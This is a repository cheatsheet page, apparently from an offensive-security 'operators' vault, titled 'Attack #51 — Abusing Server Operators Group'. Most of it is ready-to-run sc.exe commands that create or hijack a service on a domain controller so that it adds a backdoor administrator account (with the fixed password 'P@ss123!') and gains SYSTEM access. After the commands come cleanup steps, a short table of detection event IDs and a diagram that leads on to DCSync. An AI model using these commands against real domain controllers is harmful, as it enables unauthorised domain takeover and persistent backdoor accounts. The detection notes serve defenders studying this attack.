repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-51-abusing-server-operators-group.mdMarkdown72 lines2.7 KiBsource raw download

title: "Attack #51 โ€” Abusing Server Operators Group" description: "sc.exe \\DC01 create evilsvc binPath= "cmd.exe /c net user hacker P@ss123! /add && net localgroup Administrators hacker /add" start= auto sc.exe \\DC01โ€ฆ" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory", "adcs"] tools: ["PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/๐ŸŸฃ Attack #51 โ€” Abusing Server Operators Group.md"#

๐ŸŸฃ Attack #51 โ€” Abusing Server Operators Group#


๐Ÿ“– How It Works#

Server Operators can log on to Domain Controllers, start/stop services, manage shared resources, and backup/restore files. The critical escalation path: Server Operators can modify and create Windows services โ€” allowing them to create a malicious service that runs as SYSTEM, achieving SYSTEM-level access on a DC.


โš™๏ธ Prerequisites#

Requirement Detail
Membership in Server Operators Can manage services on DCs

๐Ÿ’ป Full Commands#

# โ”€โ”€ Create a malicious service โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
sc.exe \\DC01 create evilsvc binPath= "cmd.exe /c net user hacker P@ss123! /add && net localgroup Administrators hacker /add" start= auto
sc.exe \\DC01 start evilsvc

# โ”€โ”€ Or modify an existing service โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# Find a stoppable service:
sc.exe \\DC01 query type=own | findstr SERVICE_NAME
sc.exe \\DC01 config VSS binPath= "cmd.exe /c net localgroup Administrators low_user /add"
sc.exe \\DC01 stop VSS
sc.exe \\DC01 start VSS

# โ”€โ”€ Cleanup โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
sc.exe \\DC01 delete evilsvc
# Or restore the original binPath

๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
7045 System Log (DC) New service installed with suspicious binPath
4697 Security Log (DC) Service installation
4688 Security Log (DC) Process creation from service

๐Ÿ”— Attack Chain Context#

[Server Operators] โ”€โ”€โ†’ Service manipulation โ†’ SYSTEM on DC
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Create/modify service โ†’ run as SYSTEM โ†’ DCSync
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: empty Server Operators group, monitor 7045

โœ… Attack #51 โ€” Server Operators complete.